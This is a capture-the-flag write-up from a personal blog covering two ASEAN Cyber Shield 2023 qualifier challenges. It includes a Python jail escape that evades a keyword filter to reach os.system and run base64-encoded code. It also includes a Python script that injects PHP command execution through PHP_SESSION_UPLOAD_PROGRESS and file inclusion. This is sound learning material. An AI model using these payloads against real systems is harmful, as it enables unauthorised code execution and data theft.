Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon Asean Cyber Shield 2023 Qual Write-up

Introduction


In the middle near the end of November 2023, I competed in the Asean Cyber Shield representing Malaysia in Jakarta, Indonesia. There were 2 students teams and 2 open teams from Malaysia. I teamed up with SuperTsumu, Ymir and Naavin (super strong guys ><) under the name Team Excelsior. The CTF was my first on-site physical international CTF and it was pretty tough for me as someone who is still new to CTFs in general. Overall it was a good experience playing in the quals, even though I didn’t solve much. To get into the finals, we need to be in top 5!

Misc


We are greeted with pyjail challenge and you are supposed to break out of it and get the flag.

Image in a image block
Image in a image block

Looking at a source code, it blocks most of the python system-calling libraries. Which… could actually be bypassed..

This will pass:
SYSTEM

This will not pass:
system

What we could do is to use lower() to fool the filters since the filters will only check if it's on small case.

First, we could access the builtins, and then going through dict and importing os, calling system.

By chaining these, we could easily run system commands on the server.

Example payload:

__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('your command here')

Next thing to do, is to make it run python3 to read our flag inside the system.

Which.. we still need to be informed of the filters. Since it's getting to the string part, it's much easier to bypass.

We could do concatenation of text to call the filtered functions.

And making it base64, just to make everything fully wrapped nicely and hopefully bypassing filters.. again.

Problem
But, there's a small problem. Everytime the binary is compiled, it will show the error Bad File Descriptor

To make this work, you have to write the output to stderr using the command stderr.write() in Python.

Final payload

__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('python3 -c "' +'i'+'mport base64; e'+'xec(base64.b64decode(b\'aW1wb3J0IG9zO2E9b3BlbigiL2hvbWUvY3RmX3VzZXIvZmxhZyIpLnJlYWRsaW5lcygpO2ltcG9ydCBzeXM7c3lzLnN0ZGVyci53cml0ZShzdHIoKmEpKQo=\'))' +'"')
##The base64 encoded code basically reads the flag file and outputs it to stderr
Image in a image block
Flag: ACS{r00m_nam3_i4_sandbox__and__y0u_escap3_r00m_successfully!!!}

Web


We were given a simple website where we could send a number and do a LFI through include_once().

Image in a image block

To solve this challenge, you have to inspect the phpinfo() and look at any interesting configs that may open up.

We tried so many things, and we found an interesting thing called PHP_SESSION_UPLOAD_PROGRESS

Image in a image block

Reference:
https://book.hacktricks.xyz/pentesting-web/file-inclusion/via-php_session_upload_progress

So basically, with this exploit, we are able to upload a file, and probably write something to the server and read it using the include_once.

The exploit will save your session data and allows you to put PHP command injection inside.

We found that we could run PHP command injection inside our /tmp.

Here is a script we made to make things easier.

import requests

url = 'http://192.168.0.45:20001/'
headers = {
    'Cookie': 'PHPSESSID=bukan'
}
files = {
    'file': ('passwd', open('/etc/passwd', 'rb')),
}
data = {
    'num': '\n5',
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php echo system("cat /flag")?>',
}

response = requests.post(url, headers=headers, files=files, data=data)
print(response.text)

Now you need to visit the sess_bukan inside tmp folder and you will get flag inside.

Image in a image block
Flag : ACS{h0n3y,_y0U_kN0w_1mp0rtaNt_php1nF0~}

Thanks for reading my writeup!